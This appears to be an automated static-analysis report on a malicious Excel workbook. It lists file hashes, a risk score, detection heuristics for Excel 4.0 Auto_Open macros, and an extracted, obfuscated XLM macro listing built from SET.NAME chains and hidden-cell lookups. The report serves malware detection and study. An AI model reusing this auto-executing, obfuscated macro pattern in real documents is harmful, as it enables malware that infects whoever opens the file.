Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 5bbf2fd307e25041…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-27 11:41:12 Authoring application: Microsoft Excel First seen: 2021-01-11
MD5: a221a99779cda1f1f63449db54078a18 SHA-1: d81c7eee81da2437ca07b121aa7411edc025bcdf SHA-256: 5bbf2fd307e2504141cffb6e6405a880713e404e5e2a6323ec3a1bf92fc1a639
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6676 bytes
SHA-256: 1d8b0eef147be9a7d8f3addfa79c677109cbf47a696e16a2995fac82b24afdfc
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     15 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  ekHkTL
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!I158 
' 0018     20 LABEL : Cell Value, String Constant - bcPnR len=0 
' 0018     27 LABEL : Cell Value, String Constant - bqATiJToESTa len=0 
' 0018     22 LABEL : Cell Value, String Constant - BrbQiGM len=0 
' 0018     25 LABEL : Cell Value, String Constant - fvgwaUhpKr len=0 
' 0018     26 LABEL : Cell Value, String Constant - gykWRwnElas len=0 
' 0018     25 LABEL : Cell Value, String Constant - jftLDnHsJw len=0 
' 0018     21 LABEL : Cell Value, String Constant - jvSUro len=0 
' 0018     21 LABEL : Cell Value, String Constant - KJUDKk len=0 
' 0018     24 LABEL : Cell Value, String Constant - krEDebwgR len=0 
' 0018     27 LABEL : Cell Value, String Constant - majeqSBfKvHP len=0 
' 0018     24 LABEL : Cell Value, String Constant - MtmfCvKTq len=0 
' 0018     21 LABEL : Cell Value, String Constant - oJZowA len=0 
' 0018     25 LABEL : Cell Value, String Constant - rsYJPxEALn len=0 
' 0018     23 LABEL : Cell Value, String Constant - SZRMFIwh len=0 
' 0018     24 LABEL : Cell Value, String Constant - tnYfDLjPe len=0 
' 0018     25 LABEL : Cell Value, String Constant - uWfIhbzKQk len=0 
' 0018     21 LABEL : Cell Value, String Constant - uZZOGE len=0 
' 0018     24 LABEL : Cell Value, String Constant - xZiweNmZV len=0 
' 0018     20 LABEL : Cell Value, String Constant - YKbrv len=0 
' 0018     26 LABEL : Cell Value, String Constant - zCIEpUXuTTi len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  ekHkTL,Q69,"",849.00000000000000000000
'  ekHkTL,Q70,"",548.00000000000000000000
'  ekHkTL,Q71,"",159.00000000000000000000
'  ekHkTL,Q72,"",-523.00000000000000000000
'  ekHkTL,Q73,"",-788.00000000000000000000
'  ekHkTL,I74,"SET.NAME("KJUDKk",0+VALUE("0"))",""
'  ekHkTL,Q74,"",111.00000000000000000000
'  ekHkTL,I79,"SET.NAME("bqATiJToESTa",KJUDKk)",""
'  ekHkTL,I84,"SET.NAME("oJZowA",KJUDKk)",""
'  ekHkTL,I88,"SET.NAME("uZZOGE",COUNTA(zCIEpUXuTTi))",""
'  ekHkTL,I93,"SET.NAME("fvgwaUhpKr",COUNTA(YKbrv))",""
'  ekHkTL,I95,[],""
'  ekHkTL,I100,"SET.NAME("gykWRwnElas","")",""
'  ekHkTL,I103,"bqATiJToESTa",""
'  ekHkTL,I108,"SET.NAME("xZiweNmZV",HLOOKUP("*",zCIEpUXuTTi,bqATiJToESTa,FALSE))",""
'  ekHkTL,I110,"MtmfCvKTq",""
'  ekHkTL,I112,"SET.NAME("jftLDnHsJw",KJUDKk)",""
'  ekHkTL,I116,[],""
'  ekHkTL,I119,"jftLDnHsJw",""
'  ekHkTL,I121,"majeqSBfKvHP",""
'  ekHkTL,I123,"krEDebwgR",""
'  ekHkTL,I127,"uWfIhbzKQk",""
'  ekHkTL,I130,"SET.NAME("BrbQiGM",VALUE(HLOOKUP("*",YKbrv,uWfIhbzKQk,FALSE)))",""
'  ekHkTL,I133,"tnYfDLjPe",""
'  ekHkTL,I135,"gykWRwnElas",""
'  ekHkTL,I139,"oJZowA",""
'  ekHkTL,I141,NEXT(),""
'  ekHkTL,I143,"jvSUro",""
'  ekHkTL,I145,[],""
'  ekHkTL,I150,"SZRMFIwh",""
'  ekHkTL,I152,NEXT(),""
'  ekHkTL,I155,RETURN(),""
'  ekHkTL,I178,"SET.NAME("rsYJPxEALn",I74)",""
'  ekHkTL,I182,"zCIEpUXuTTi",""
'  ekHkTL,I184,"SET.NAME("YKbrv",R62C13)",""
'  ekHkTL,I186,"SET.NAME("SZRMFIwh",193)",""
'  ekHkTL,I188,"SET.NAME("bcPnR",9)",""
'  ekHkTL,I192,rsYJPxEALn(),""
'  ekHkTL,I193,HALT(),""